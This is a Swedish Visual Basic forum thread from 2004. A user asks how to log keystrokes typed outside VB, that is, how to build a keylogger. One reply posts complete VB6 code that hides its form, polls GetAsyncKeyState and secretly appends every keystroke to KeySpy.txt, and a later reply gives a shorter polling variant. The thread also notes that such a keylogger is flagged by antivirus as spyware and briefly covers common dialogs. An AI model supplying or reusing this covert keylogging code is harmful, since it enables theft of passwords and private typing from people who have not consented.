Fetstil Fetstil Kursiv Understrykning linje färgläggning tabellverk Punktlista Nummerlista Vänster Centrerat högerställt Utfyllt Länk Bild htmlmode
  • Forum & Blog
    • Forum - översikt
      • .Net
        • asp.net generellt
        • c#
        • vb.net
        • f#
        • silverlight
        • microsoft surface
        • visual studio .net
      • databaser
        • sql-server
        • databaser
        • access
        • mysql
      • mjukvara klient
        • datorer och komponenter
        • nätverk, lan/wan
        • operativsystem
        • programvaror
        • säkerhet, inställningar
        • windows server
        • allmänt
        • crystal reports
        • exchange/outlook
        • microsoft office
      • mjukvara server
        • active directory
        • biztalk
        • exchange
        • linux
        • sharepoint
        • webbservers
        • sql server
      • appar (win/mobil)
      • programspråk
        • c++
        • delphi
        • java
        • quick basic
        • visual basic
      • scripting
        • asp 3.0
        • flash actionscript
        • html css
        • javascript
        • php
        • regular expresssion
        • xml
      • spel och grafik
        • DirectX
        • Spel och grafik
      • ledning
        • Arkitektur
        • Systemutveckling
        • krav och test
        • projektledning
        • ledningsfrågor
      • vb-sektioner
        • activeX
        • windows api
        • elektronik
        • internet
        • komponenter
        • nätverk
        • operativsystem
      • övriga forum
        • arbete karriär
        • erbjuda uppdrag och tjänster
        • juridiska frågor
        • köp och sälj
        • matematik och fysik
        • intern information
        • skrivklåda
        • webb-operatörer
    • Posta inlägg i forumet
    • Chatta med andra
  • Konto
    • Medlemssida
    • Byta lösenord
    • Bli bonsumedlem
    • iMail
  • Material
    • Tips & tricks
    • Artiklar
    • Programarkiv
  • JOBB
  • Student
    • Studentlicenser
  • KONTAKT
    • Om pellesoft
    • Grundare
    • Kontakta oss
    • Annonsering
    • Partners
    • Felanmälan
  • Logga in

Hem / Forum översikt / inlägg

Posta nytt inlägg


Kolla vad man skriver utanför VB

Postades av 2004-07-25 01:04:19 - Mattias Frisk, i forum visual basic - allmänt, Tråden har 8 Kommentarer och lästs av 1626 personer

Jag har letat länge efter en kod som kan kolla vad man skriver utanför vb keylogger med andra ord.
Jag har sett många olika typer av lösningar men ingen av dom verkar fungera.
Så nu testar jag här .. är det någon som vet hur man keyloggar utanför visual basic?


Svara

Sv: Kolla vad man skriver utanför VB

Postades av 2004-07-25 10:45:07 - Sven Åke Persson

Ett exempel du kan kolla.
Av någon anledning så ser man inte resultatet förrän man stänger Vb proget
<code>
Option Explicit
Private Declare Function GetAsyncKeyState Lib "user32" _
(ByVal vKey As Long) As Integer

Dim sSave As String
Dim sOld As String, Ret As String
Dim FileNum As Long
Private Sub Form_Load()
'Grundidé kommer från
'KPD-Team 1999
'URL: http://www.allapi.net/
'E-Mail: KPDTeam@Allapi.net
FileNum = FreeFile
'Ändra denna sökväg efter behov
'Alla tangentnedslag loggas till
Open App.Path & "/KeySpy.txt" For Append As #FileNum
Me.Hide
End Sub
Private Sub Form_Unload(Cancel As Integer)
Close #FileNum
End Sub
Private Sub Timer1_Timer()
'Interval 60 ms
DoEvents
Ret = GetPressedKey
If Ret <> sOld Then
sOld = Ret
sSave = sSave & sOld
If Len(sSave) > 80 Then
sSave = ""
Print #FileNum, vbNewLine;
Print #FileNum, sOld;
Else
Print #FileNum, sOld;
End If
End If
End Sub

Function GetPressedKey() As String
Dim i As Long
For i = 13 To 128
'Get the keystate of a specified key
If GetAsyncKeyState(i) <> 0 Then
GetPressedKey = Chr$(i)
Exit For
End If
Next 'i
End Function
</code>


Svara

Sv: Kolla vad man skriver utanför VB

Postades av 2004-07-25 16:53:48 - Mattias Frisk

Underbart de fungerade :) tack så mycket. Du kanske oxå har erfarenhet hur man får upp open/save dialog i vb6.0?


Svara

Sv: Kolla vad man skriver utanför VB

Postades av 2004-07-25 19:38:07 - Per Hultqvist

Öppna Components-dialogen (menyn Project/Components eller CTRL+T eller högerklicka i toolboxen och välj "Components") och se till att "Microsoft Common Dialog Control 6.0 (SPx)" är ikryssad. Lägg sedan ut en sådan kontroll på ditt formulär och anropa metoderna...
<code>
CommonDialog1.ShowOpen()
CommonDialog1.ShowSave()
</code>
...för att öppna Open resp Save-dialogerna.


Svara

Sv: Kolla vad man skriver utanför VB

Postades av 2004-07-25 21:17:29 - Mattias Frisk

Det fungerade!, Tack :)


Svara

Sv: Kolla vad man skriver utanför VB

Postades av 2004-07-27 22:00:11 - Bertil Rundquist

Det finns nån keylogger i detta forum som inte går ihop med virusprogram då den tror det e en "spion".


Svara

Sv: Kolla vad man skriver utanför VB

Postades av 2004-08-10 12:40:25 - Johan Forsberg

Följande metod fungerar även utmärkt.

I timern (interval 25):
Dim variabel as integer/byte
Dim Ret as integer

for variabel = start to slut
Ret = GetAsyncKeyState(variabel)

if Ret = -32768 eller -32767 then
t.ex. text1.text = text1.text & chr$(variabel)
end if
next variabel

/EBCDIC


Svara

Sv: Kolla vad man skriver utanför VB

Postades av 2004-08-10 16:15:15 - Sven Åke Persson

En liten Besserwisser kommentar ;-)
>I timern (interval 25): ' skall vara Interval 56
>Dim variabel as integer/byte ' skall vara Dim variabel As Long
>Dim Ret as integer ' skall vara Dim Ret As Long


Svara

Sv: Kolla vad man skriver utanför VB

Postades av 2004-08-11 10:13:37 - Johan Forsberg

Jo, Returvärdet KAN vara av datatypen long, men 'variablel' har ingen nytta över att vara av annan datatyp än integer eftersom det som bekant endast finns 255 tecken (utvidgat) och 127 tecken outvidgat.
Nu är det ju som följande att definitionen är:

Declare Function GetKeyState Lib "user32" Alias "GetKeyState" (ByVal nVirtKey As Long) As Integer
dvs mottar ett värde av typ long men returnerar integer

Man kan gå utanför standarden i detta fall.

Besservisserkommentar ver 2.1


Svara

Nyligen

  • 14:24 CBD regelbundet?
  • 14:23 CBD regelbundet?
  • 14:22 Har du märkt några verkliga fördel
  • 09:09 Vill du köpa medicinska tester?
  • 12:47 Vem beviljar assistansen – kommune
  • 14:17 Någon med erfarenhet av hemstädnin
  • 14:14 Bör man använda sig av en båtförme
  • 14:12 Finns det någon intressant hundblo

Sidor

  • Hem
  • Bli bonusmedlem
  • Läs artiklar
  • Chatta med andra
  • Sök och erbjud jobb
  • Kontakta oss
  • Studentlicenser
  • Skriv en artikel

Statistik

Antal besökare:
Antal medlemmar:
Antal inlägg:
Online:
På chatten:
4 569 614
27 953
271 709
395
0

Kontakta oss

Frågor runt konsultation, rådgivning, uppdrag, rekrytering, annonsering och övriga ärenden. Ring: 0730-88 22 24 | pelle@pellesoft.se

© 1986-2013 PelleSoft AB. Last Build 4.1.7169.18070 (2019-08-18 10:02:21) 4.0.30319.42000
  • Om
  • Kontakta
  • Regler
  • Cookies